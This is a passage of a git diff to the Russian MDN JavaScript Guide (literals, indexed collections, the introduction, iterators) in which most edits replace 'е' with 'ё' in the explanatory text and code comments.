+<p>Если массив создаётся с помощью литерала в скрипте верхнего уровня, то JavaScript интерпретирует массив каждый раз, когда вычисляет выражение, содержащее литерал. Кроме того, литерал, используемый в функции, создаётся каждый раз, когда вызывается функция.</p> <p>Литералы массива также являются объектами <code>Array</code>. Чтобы получить более подробную информацию, прочитайте {{jsxref("Array")}} и <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Indexed_collections">упорядоченные наборы данных</a>.</p> @@ -345,11 +345,11 @@ MY_OBJECT.key = "otherValue";</pre> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span><span class="comment token" style="color: #708090;">// ["home", undefined, "school"]</span></code> </pre> -<p>В следующем примере длина массива равна четырем, элементы <code>myList[0]</code> и <code>myList[2]</code> имеют значение <code>undefined</code>:</p> +<p>В следующем примере длина массива равна четырём, элементы <code>myList[0]</code> и <code>myList[2]</code> имеют значение <code>undefined</code>:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// [undefined, "home", undefined, "school"]</span></code></pre> -<p>В следующем примере длина массива равна четырем, элементы <code>myList[1]</code> и <code>myList[3]</code> имеют значение <code>undefined</code>. Игнорируется только последняя запятая.</p> +<p>В следующем примере длина массива равна четырём, элементы <code>myList[1]</code> и <code>myList[3]</code> имеют значение <code>undefined</code>. Игнорируется только последняя запятая.</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> myList <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="punctuation token" style="color: #999999;">[</span><span class="string token" style="color: #669900;">'home'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="string token" style="color: #669900;">'school'</span><span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">,</span> <span class="punctuation token" style="color: #999999;">]</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// ["home", undefined, "school", undefined]</span></code></pre> @@ -409,7 +409,7 @@ MY_OBJECT.key = "otherValue";</pre> <h3 id="Литерал_объекта">Литерал объекта</h3> -<p>Литерал объекта — это список из нуля или более пар, состоящих из имен свойств и связанных с ними значений, заключенный в фигурные скобки ( <code>{}</code> ). Вам не следует использовать литерал объекта в начале выражения, т.к. это приведет к ошибке или к поведению, которого вы не ожидаете, потому что символ "{" будет интерпретироваться как начало блока.</p> +<p>Литерал объекта — это список из нуля или более пар, состоящих из имён свойств и связанных с ними значений, заключённый в фигурные скобки ( <code>{}</code> ). Вам не следует использовать литерал объекта в начале выражения, т.к. это приведёт к ошибке или к поведению, которого вы не ожидаете, потому что символ "{" будет интерпретироваться как начало блока.</p> <p>В следующем примере свойству <code>myCar</code> объекта <code>car</code> присваивается строка <code>"Saturn"</code>, свойству <code>getCar</code> — результат вызова функции <code>CarTypes("Honda")</code>, свойству <code>special</code> — значение переменной <code>Sales</code>:</p> @@ -482,7 +482,7 @@ console<span class="punctuation token" style="color: #999999;">.</span><span cla <h3 id="Строковый_литерал">Строковый литерал</h3> -<p>Строковый литерал — это ноль или более символов, заключенных в двойные ( <code>"</code> ) или одинарные ( <code>'</code> ) кавычки. Строка должна быть ограничена кавычками одного типа, т.е. либо обе одинарные, либо обе двойные. Например:</p> +<p>Строковый литерал — это ноль или более символов, заключённых в двойные ( <code>"</code> ) или одинарные ( <code>'</code> ) кавычки. Строка должна быть ограничена кавычками одного типа, т.е. либо обе одинарные, либо обе двойные. Например:</p> <pre><code>"foo"</code> <code>'bar'</code> @@ -599,14 +599,14 @@ POST`http://foo.org/bar?a=${a}&b=${b} <h4 id="Экранирующие_символы">Экранирующие символы</h4> -<p>Для символов, не перечисленных в вышеприведенной таблице, предваряющая обратная косая черта игнорируется. Такое использование не является рекомендованным (deprecated) и вам следует избегать его.</p> +<p>Для символов, не перечисленных в вышеприведённой таблице, предваряющая обратная косая черта игнорируется. Такое использование не является рекомендованным (deprecated) и вам следует избегать его.</p> <p>Вы можете вставить кавычку в строку, если поставите перед ней обратную косую черту. Это называется экранированием кавычек. Например:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> quote <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"He read \"The Cremation of Sam McGee\" by R.W. Service."</span><span class="punctuation token" style="color: #999999;">;</span> console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>quote<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// He read "The Cremation of Sam McGee" by R.W. Service.</span></code></pre> -<p>Чтобы включить обратную косую черту в строку, перед ней нужно поставить еще одну обратную косую черту. Например:</p> +<p>Чтобы включить обратную косую черту в строку, перед ней нужно поставить ещё одну обратную косую черту. Например:</p> <pre class="brush: js language-js" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> home <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="string token" style="color: #669900;">"c:\\temp"</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// c:\temp</span></code></pre> diff --git a/files/ru/web/javascript/guide/index.html b/files/ru/web/javascript/guide/index.html index fcd22de953..52a44a45d9 100644 --- a/files/ru/web/javascript/guide/index.html +++ b/files/ru/web/javascript/guide/index.html @@ -110,7 +110,7 @@ translation_of: Web/JavaScript/Guide <p><a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Гарантии">Гарантии</a><br> <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Цепочка_вызовов">Цепочка вызовов</a><br> - <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Распространение_ошибки">Распространенные ошибки</a><br> + <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Распространение_ошибки">Распространённые ошибки</a><br> <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Композиция">Композиция</a><br> <a href="/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov#Порядок_выполнения">Порядок выполнения</a></p> </li> diff --git a/files/ru/web/javascript/guide/indexed_collections/index.html b/files/ru/web/javascript/guide/indexed_collections/index.html index ed49aa33bd..68a5001fdb 100644 --- a/files/ru/web/javascript/guide/indexed_collections/index.html +++ b/files/ru/web/javascript/guide/indexed_collections/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Guide/Indexed_collections <p><em>Массив</em> представляется собой упорядоченный набор значений, к которому вы ссылаетесь по имени и индексу. Допустим, у вас есть массив с именем <code>emp,</code> содержащий имена сотрудников и упорядоченный по номеру сотрудников. Следовательно, <code>emp[1]</code> будет представлять собой имя сотрудника номер один, <code>emp[2]</code> -- имя сотрудника номер два, и т.д.</p> -<p>Язык JavaScript не содержит явного типа данных "массив". Тем не менее, возможно использовать предопределенный объект <code>Array</code> и его методы для работы с массивами в создаваемых приложениях. Объект <code>Array</code> содержит методы для работы с массивами самыми различными способами, например, есть методы для объединения, переворачивания и сортировки. Объект содержит свойство для определения длины массива, а также свойства для работы с регулярными выражениями.</p> +<p>Язык JavaScript не содержит явного типа данных "массив". Тем не менее, возможно использовать предопределённый объект <code>Array</code> и его методы для работы с массивами в создаваемых приложениях. Объект <code>Array</code> содержит методы для работы с массивами самыми различными способами, например, есть методы для объединения, переворачивания и сортировки. Объект содержит свойство для определения длины массива, а также свойства для работы с регулярными выражениями.</p> <h3 id="Создание_массива">Создание массива</h3> @@ -37,7 +37,7 @@ arr.length = arrayLength; </pre> <div class="note"> -<p><strong>Замечание</strong>: в примере выше <code>arrayLength</code> должно иметь числовой тип <code>Number</code>. В противном случае будет создан массив с единственным элементом (указанное значение). Вызванная функция <code>arr.length</code> вернет значение <code>arrayLength</code>, но на самом деле массив будет содержать пустые элементы (undefined). Использование цикла<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"> </a> {{jsxref("Statements/for...in","for...in")}} для обработки значений массива не вернет ни одного элемента.</p> +<p><strong>Замечание</strong>: в примере выше <code>arrayLength</code> должно иметь числовой тип <code>Number</code>. В противном случае будет создан массив с единственным элементом (указанное значение). Вызванная функция <code>arr.length</code> вернёт значение <code>arrayLength</code>, но на самом деле массив будет содержать пустые элементы (undefined). Использование цикла<a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"> </a> {{jsxref("Statements/for...in","for...in")}} для обработки значений массива не вернёт ни одного элемента.</p> </div> <p>Массивы могут быть присвоены свойству нового или уже существующего объекта, как показано ниже:</p> @@ -114,7 +114,7 @@ arr["length"]; // Вернёт число 3, так как это свойст <h3 id="Понимание_length">Понимание <code>length</code></h3> -<p>На уровне реализации, массивы в JavaScript хранят свои элементы как стандартные свойства объекта, используя индекс в качестве имени свойства. Специальное свойство <code>length</code> всегда возвращает индекс последнего элемента плюс один (в примере ниже, элемент 'Dusty' размещается под индексом 30, по этому cats.length возвращает 30 + 1). Особо следует запомнить, что в JavaScript массивы индексируются с нуля: отсчет ведется с 0, а не с 1. Из этого и следует, что свойство <code><code>length</code></code> всегда на единицу больше, чем наибольший индекс хранящийся в массиве:</p> +<p>На уровне реализации, массивы в JavaScript хранят свои элементы как стандартные свойства объекта, используя индекс в качестве имени свойства. Специальное свойство <code>length</code> всегда возвращает индекс последнего элемента плюс один (в примере ниже, элемент 'Dusty' размещается под индексом 30, по этому cats.length возвращает 30 + 1). Особо следует запомнить, что в JavaScript массивы индексируются с нуля: отсчёт ведётся с 0, а не с 1. Из этого и следует, что свойство <code><code>length</code></code> всегда на единицу больше, чем наибольший индекс хранящийся в массиве:</p> <pre class="brush: js">var cats = []; cats[30] = ['Dusty']; @@ -127,7 +127,7 @@ console.log(cats.length); // 31 console.log(cats.length); // 3 cats.length = 2; -console.log(cats); // выводит в консоль "Dusty,Misty" - элемент "Twiggy" был удален +console.log(cats); // выводит в консоль "Dusty,Misty" - элемент "Twiggy" был удалён cats.length = 0; console.log(cats); // выводит пустую строку; массив cats пуст @@ -138,7 +138,7 @@ console.log(cats); // выводит [undefined, undefined, undefined] <h3 id="Перебор_содержимого_массивов">Перебор содержимого массивов</h3> -<p>Очень распространенная задача - это перебор всех элементов массива и обработка каждого элемента некоторой операцией. Вот наипростейший способ сделать это:</p> +<p>Очень распространённая задача - это перебор всех элементов массива и обработка каждого элемента некоторой операцией. Вот наипростейший способ сделать это:</p> <pre class="brush: js">var colors = ['red', 'green', 'blue']; for (var i = 0; i < colors.length; i++) { @@ -146,7 +146,7 @@ for (var i = 0; i < colors.length; i++) { } </pre> -<p>Если вам заранее известно, что ни один элемент массива не будет расценен как <code>false</code> при приведении к boolean — например, каждый элемент массива является <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> узлом, тогда вы можете блеснуть чуть более эффективным оборотом:</p> +<p>Если вам заранее известно, что ни один элемент массива не будет расценён как <code>false</code> при приведении к boolean — например, каждый элемент массива является <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> узлом, тогда вы можете блеснуть чуть более эффективным оборотом:</p> <pre class="brush: js">var divs = document.getElementsByTagName('div'); for (var i = 0, div; div = divs[i]; i++) { @@ -275,7 +275,7 @@ myArray.sort(); // массив отсортирован myArray = [ "Fire", "Rain", "Wind" ] </pre> -<p><code>Метод sort()</code> может принимать в качестве аргумента <code>callback</code>-функцию, которая определяет каким образом сравнивать элементы массива при сортировке. Функция сравнивает два значения, и возвращает одно из трех значений (список вариантов значений смотрите после примера):</p> +<p><code>Метод sort()</code> может принимать в качестве аргумента <code>callback</code>-функцию, которая определяет каким образом сравнивать элементы массива при сортировке. Функция сравнивает два значения, и возвращает одно из трёх значений (список вариантов значений смотрите после примера):</p> <p>Пример. Следующий код сортирует массив по последнему символу в строке:</p> @@ -297,16 +297,16 @@ myArray.sort(sortFn); <pre class="brush: js">var a = ['a', 'b', 'a', 'b', 'a']; console.log(a.indexOf('b')); // выводит 1 -// Попробуем еще раз, начиная с индекса последнего совпадения +// Попробуем ещё раз, начиная с индекса последнего совпадения console.log(a.indexOf('b', 2)); // выводит 3 console.log(a.indexOf('z')); // выводит -1, потому что 'z' не найдено </pre> -<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} тоже самое, что и <code>indexOf</code>, но поиск ведется в обратном порядке, с конца массива.</p> +<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} тоже самое, что и <code>indexOf</code>, но поиск ведётся в обратном порядке, с конца массива.</p> <pre class="brush: js">var a = ['a', 'b', 'c', 'd', 'a', 'b']; console.log(a.lastIndexOf('b')); // выводит 5 -// Попробуем еще раз, начиная с индекса, предшествующего индексу последнего совпадения +// Попробуем ещё раз, начиная с индекса, предшествующего индексу последнего совпадения console.log(a.lastIndexOf('b', 4)); // выводит 1 console.log(a.lastIndexOf('z')); // выводит -1 </pre> @@ -343,7 +343,7 @@ var a2 = [1, '2', 3]; console.log(a2.every(isNumber)); // выводит false </pre> -<p>{{jsxref("Array.some", "some(callback[, thisObject])")}} возвращает true, если вызов <code>callback</code>-функции вернет true хотя бы для одного элемента.</p> +<p>{{jsxref("Array.some", "some(callback[, thisObject])")}} возвращает true, если вызов <code>callback</code>-функции вернёт true хотя бы для одного элемента.</p> <pre class="brush: js">function isNumber(value){ return typeof value == 'number'; @@ -356,7 +356,7 @@ var a3 = ['1', '2', '3']; console.log(a3.some(isNumber)); // выводит false </pre> -<p>Те из методов выше, что принимают <code>callback</code>-функцию в качестве аргумента, известны как методы итерации (<em>iterative methods)</em>, потому что определенным образом проходятся по всем элементам массива. Каждый из таких методов принимает второй, опциональный элемент, называемый <code>thisObject</code>. Если этот аргумент присутствует, то его значение присваивается ключевому слову <code>this</code> в теле <code>callback</code>-функции. Иначе, как и в любом другом случае вызова функции вне явного контекста, <code>this</code> будет ссылаться на глобальный объект ({{domxref("window")}}).</p> +<p>Те из методов выше, что принимают <code>callback</code>-функцию в качестве аргумента, известны как методы итерации (<em>iterative methods)</em>, потому что определённым образом проходятся по всем элементам массива. Каждый из таких методов принимает второй, опциональный элемент, называемый <code>thisObject</code>. Если этот аргумент присутствует, то его значение присваивается ключевому слову <code>this</code> в теле <code>callback</code>-функции. Иначе, как и в любом другом случае вызова функции вне явного контекста, <code>this</code> будет ссылаться на глобальный объект ({{domxref("window")}}).</p> <p>В действительности <code>callback</code>-функция вызывается с тремя аргументами. Первый аргумент - текущий элемент массива, второй - индекс этого элемента, и третий - ссылка на сам массив. Однако, в JavaScript, функции игнорируют любые аргументы, которые не перечислены в списке аргументов. Таким образом, нет ничего страшного в использовании функции с одним аргументом, такой как <code>alert</code>.</p> @@ -367,7 +367,7 @@ var total = a.reduce(function(first, second, index) { return first + second; }, console.log(total) // выводит 60 </pre> -<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} работает так же как и <code>reduce()</code>, но порядок обхода ведется от конца к началу.</p> +<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} работает так же как и <code>reduce()</code>, но порядок обхода ведётся от конца к началу.</p> <p><code>Методы reduce</code> и <code>reduceRight</code> являются наименее очевидными методами объекта Array. Они должны использоваться в алгоритмах, которые рекурсивно совмещают два элемента массива, для сведения всей последовательности к одному значению.</p> @@ -375,7 +375,7 @@ console.log(total) // выводит 60 <p>Массивы могут быть вложенными, то есть массив может содержать массивы в элементах. Используя эту возможность массивов JavaScript, можно построить многомерные массивы.</p> -<p>Следующий код создает двумерный массив:</p> +<p>Следующий код создаёт двумерный массив:</p> <pre class="brush: js">var a = new Array(4); for (i = 0; i < 4; i++) { @@ -386,7 +386,7 @@ for (i = 0; i < 4; i++) { } </pre> -<p>В этом примере создается массив со следующим содержимым:</p> +<p>В этом примере создаётся массив со следующим содержимым:</p> <pre>Ряд 0: [0,0] [0,1] [0,2] [0,3] Ряд 1: [1,0] [1,1] [1,2] [1,3] @@ -428,11 +428,11 @@ for (i = 0; i < 4; i++) { <h3 id="ArrayBuffer">ArrayBuffer</h3> -<p>Объект {{jsxref("ArrayBuffer")}} это стандартный набор бинарных данных с фиксированной длиной. Вы не можете манипулировать содержимым <code>ArrayBuffer</code> напрямую. Вместо этого необходимо создать типизированное представление {{jsxref("DataView")}}, которое будет отображать буфер в определенном формате, и даст доступ на запись и чтение его содержимого.</p> +<p>Объект {{jsxref("ArrayBuffer")}} это стандартный набор бинарных данных с фиксированной длиной. Вы не можете манипулировать содержимым <code>ArrayBuffer</code> напрямую. Вместо этого необходимо создать типизированное представление {{jsxref("DataView")}}, которое будет отображать буфер в определённом формате, и даст доступ на запись и чтение его содержимого.</p> <h3 id="Типизированные_представления">Типизированные представления</h3> -<p>Название типизированного представления массива говорит само за себя. Оно представляет массив в распространенных числовых форматах, таких как <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> и так далее. Среди прочих существует специальное представление <code>Uint8ClampedArray</code>. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при <a href="/en-US/docs/Web/API/ImageData">Обработке данных изображения в Canvas</a>.</p> +<p>Название типизированного представления массива говорит само за себя. Оно представляет массив в распространённых числовых форматах, таких как <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> и так далее. Среди прочих существует специальное представление <code>Uint8ClampedArray</code>. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при <a href="/en-US/docs/Web/API/ImageData">Обработке данных изображения в Canvas</a>.</p> <p>{{page("en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects")}}</p> diff --git a/files/ru/web/javascript/guide/introduction/index.html b/files/ru/web/javascript/guide/introduction/index.html index 07c31a7a05..825d8cf2d6 100644 --- a/files/ru/web/javascript/guide/introduction/index.html +++ b/files/ru/web/javascript/guide/introduction/index.html @@ -21,7 +21,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <ul> <li>Общее понимание Internet и World Wide Web ({{Glossary("WWW")}}).</li> <li>Хорошее знание HyperText Markup Language ({{Glossary("HTML")}}).</li> - <li>Некоторый опыт программирования. Если вы являетесь новичком в программировании, то ознакомьтесь с руководствами, приведенными на странице по <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript">JavaScript</a>.</li> + <li>Некоторый опыт программирования. Если вы являетесь новичком в программировании, то ознакомьтесь с руководствами, приведёнными на странице по <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript">JavaScript</a>.</li> </ul> <h2 id="Где_можно_найти_информацию_о_JavaScript">Где можно найти информацию о JavaScript?</h2> @@ -40,7 +40,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <p>JavaScript — это кросс-платформенный, объектно-ориентированный скриптовый язык, являющийся небольшим и легковесным. Внутри среды исполнения JavaScript может быть связан с объектами данной среды и предоставлять программный контроль над ними.</p> -<p>JavaScript включает стандартную библиотеку объектов, например, <code>Array</code>, <code>Date</code> и <code>Math</code>, а также базовый набор языковых элементов, например, операторы и управляющие конструкции. Ядро JavaScript может быть расширено для различных целей путем добавления в него новых объектов, например:</p> +<p>JavaScript включает стандартную библиотеку объектов, например, <code>Array</code>, <code>Date</code> и <code>Math</code>, а также базовый набор языковых элементов, например, операторы и управляющие конструкции. Ядро JavaScript может быть расширено для различных целей путём добавления в него новых объектов, например:</p> <ul> <li>JavaScript на стороне клиента расширяет ядро языка, предоставляя объекты для контроля браузера и его Document Object Model (DOM). Например, клиентские расширения позволяют приложению размещать элементы в форме HTML и обрабатывать пользовательские события, такие как щелчок мыши, ввод данных в форму и навигация по страницам.</li> @@ -53,7 +53,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <p>В отличие от системы скомпилированных классов Java, построенной на объявлениях, JavaScript поддерживает систему исполнения, основанную на небольшом числе типов данных, представляющих числовые, логические и строковые значения. JavaScript имеет объектную модель на базе прототипов вместо более общей модели на базе классов. Модель объектов на базе прототипов предоставляет динамическое наследование, т.е. то, что наследуется, может отличаться для отдельных объектов. JavaScript также поддерживает функции без каких-либо специальных декларативных требований. Функции могут быть свойствами объектов, выполняться как свободно-типизированные методы.</p> -<p>По сравнению с Java, JavaScript является языком с очень свободной формой. Вам не надо объявлять переменные, классы и методы. Вам не надо беспокоиться о том, являются ли методы публичными (public), приватными (private) или защищенными (protected), а также вам не надо реализовывать интерфейсы. Переменные, параметры и возвращаемые функциями типы не являются явно типизированными.</p> +<p>По сравнению с Java, JavaScript является языком с очень свободной формой. Вам не надо объявлять переменные, классы и методы. Вам не надо беспокоиться о том, являются ли методы публичными (public), приватными (private) или защищёнными (protected), а также вам не надо реализовывать интерфейсы. Переменные, параметры и возвращаемые функциями типы не являются явно типизированными.</p> <p>Java — это язык программирования, основанный на классах и предназначенный для быстрого выполнения и безопасности типов. Безопасность типов означает, например, что вы не можете привести тип integer к типу object reference или получить доступ к приватной памяти, изменяя байт-код Java. Ориентированная на классы модель Java означает, что программы состоят исключительно из классов и их методов. Наследование классов и строгая типизация в Java обычно требуют тесно связанные иерархии объектов. Эти требования делают программирование на Java более комплексным, чем программирование на JavaScript.</p> @@ -77,8 +77,8 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <td>Типы данных переменных должны быть объявлены (статическая типизация).</td> </tr> <tr> - <td>Не может автоматически записывать на жесткий диск.</td> - <td><span style="background-color: rgba(212, 221, 228, 0.14902);">Может автоматически записывать на жесткий диск.</span></td> + <td>Не может автоматически записывать на жёсткий диск.</td> + <td><span style="background-color: rgba(212, 221, 228, 0.14902);">Может автоматически записывать на жёсткий диск.</span></td> </tr> </tbody> </table> @@ -89,7 +89,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <p>JavaScript стандартизирован европейской ассоциацией <a href="http://www.ecma-international.org/">Ecma International</a>, деятельность которой посвящена стандартизации информационных и коммуникационных систем (изначально ECMA являлся акронимом European Computer Manufacturers Association). Эта стандартизированная версия JavaScript, называемая ECMAScript, работает одинаково во всех приложениях, поддерживающих стандарт. Компании могут использовать открытый стандарт языка, чтобы разработать собственную реализацию JavaScript. Стандарт ECMAScript задокументирован в спецификации ECMA-262. Чтобы узнать больше информации о разных версиях JavaScript и ECMAScript, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/New_in_JavaScript">Что нового в JavaScript</a>.</p> -<p>Стандарт ECMA-262 также утвержден <a href="http://www.iso.org/iso/home.html">ISO</a> (International Organization for Standardization) как ISO-16262. Вы можете найти спецификацию на <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">сайте Ecma International</a>. Спецификация ECMAScript не описывает Document Object Model (DOM), которая стандартизирована <a href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. DOM определяет способ для доступа к объектам HTML документа из вашего скрипта. Чтобы получить более точное представление о различных технологиях, используемых при программировании на JavaScript, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/JavaScript_technologies_overview">Обзор JavaScript</a>.</p> +<p>Стандарт ECMA-262 также утверждён <a href="http://www.iso.org/iso/home.html">ISO</a> (International Organization for Standardization) как ISO-16262. Вы можете найти спецификацию на <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">сайте Ecma International</a>. Спецификация ECMAScript не описывает Document Object Model (DOM), которая стандартизирована <a href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. DOM определяет способ для доступа к объектам HTML документа из вашего скрипта. Чтобы получить более точное представление о различных технологиях, используемых при программировании на JavaScript, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/JavaScript_technologies_overview">Обзор JavaScript</a>.</p> <h3 id="Документация_JavaScript_против_спецификации_ECMAScript">Документация JavaScript против спецификации ECMAScript</h3> @@ -97,7 +97,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <p>Документ ECMAScript не предназначен для помощи программистам в создании скриптов; чтобы получить информацию о том, как писать скрипты, используйте документацию JavaScript.</p> -<p>Спецификация ECMAScript использует терминологию и синтаксис, которые могут быть незнакомы JavaScript-программистам. Хотя описание языка может отличаться в ECMAScript, но сам язык остается таким же. JavaScript поддерживает всю функциональность, описанную в спецификации ECMAScript.</p> +<p>Спецификация ECMAScript использует терминологию и синтаксис, которые могут быть незнакомы JavaScript-программистам. Хотя описание языка может отличаться в ECMAScript, но сам язык остаётся таким же. JavaScript поддерживает всю функциональность, описанную в спецификации ECMAScript.</p> <p>Документация JavaScript описывает аспекты языка, являющиеся подходящими для JavaScript-программиста.</p> @@ -128,7 +128,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <p>Web Console отлично подходит для выполнения одиночных строк JavaScript, но хотя вы можете выполнить и несколько строк, это не очень удобно, к тому же вы не можете сохранить ваш код, используя Web Console. Поэтому для более комплексных примеров <a href="https://developer.mozilla.org/ru/docs/Tools/%D0%A7%D0%B5%D1%80%D0%BD%D0%BE%D0%B2%D0%B8%D0%BA">Scratchpad</a> является более подходящим инструментом.</p> -<p>Чтобы открыть Scratchpad(<kbd>Shift</kbd>+<kbd>F4</kbd>), выберите "Scratchpad" из меню "Web Developer", которое находится под меню "Tools" в Firefox. Блокнот будет открыт в отдельном окне, вы можете использовать его для создания и выполнения JavaScript в браузере. Вы также можете сохранять ваши скрипты на жесткий диск, а потом загружать их.</p> +<p>Чтобы открыть Scratchpad(<kbd>Shift</kbd>+<kbd>F4</kbd>), выберите "Scratchpad" из меню "Web Developer", которое находится под меню "Tools" в Firefox. Блокнот будет открыт в отдельном окне, вы можете использовать его для создания и выполнения JavaScript в браузере. Вы также можете сохранять ваши скрипты на жёсткий диск, а потом загружать их.</p> <p>Если вы выберете "Display", то код в вашем блокноте будет выполнен в браузере, а результат вставлен обратно в блокнот как комментарий:</p> diff --git a/files/ru/web/javascript/guide/iterators_and_generators/index.html b/files/ru/web/javascript/guide/iterators_and_generators/index.html index ea05bf2965..b447156ea8 100644 --- a/files/ru/web/javascript/guide/iterators_and_generators/index.html +++ b/files/ru/web/javascript/guide/iterators_and_generators/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators --- <div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</div> -<p class="summary">Обработка каждого элемента коллекции является весьма распространенной операцией. JavaScript предоставляет несколько способов перебора коллекции, от простого цикла <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for" title="en/Core_JavaScript_1.5_Reference/Statements/for">for</a></code> до <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/map">map()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/filter">filter()</a></code> и <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions" title="en/JavaScript/Guide/Predefined Core Objects#Array comprehensions">array comprehensions</a>. Итераторы и генераторы внедряют концепцию перебора непосредственно в ядро языка и обеспечивают механизм настройки поведения <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of" title="en/Core_JavaScript_1.5_Reference/Statements/for...in">for...of</a></code> циклов.</p> +<p class="summary">Обработка каждого элемента коллекции является весьма распространённой операцией. JavaScript предоставляет несколько способов перебора коллекции, от простого цикла <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for" title="en/Core_JavaScript_1.5_Reference/Statements/for">for</a></code> до <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/map">map()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/filter">filter()</a></code> и <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions" title="en/JavaScript/Guide/Predefined Core Objects#Array comprehensions">array comprehensions</a>. Итераторы и генераторы внедряют 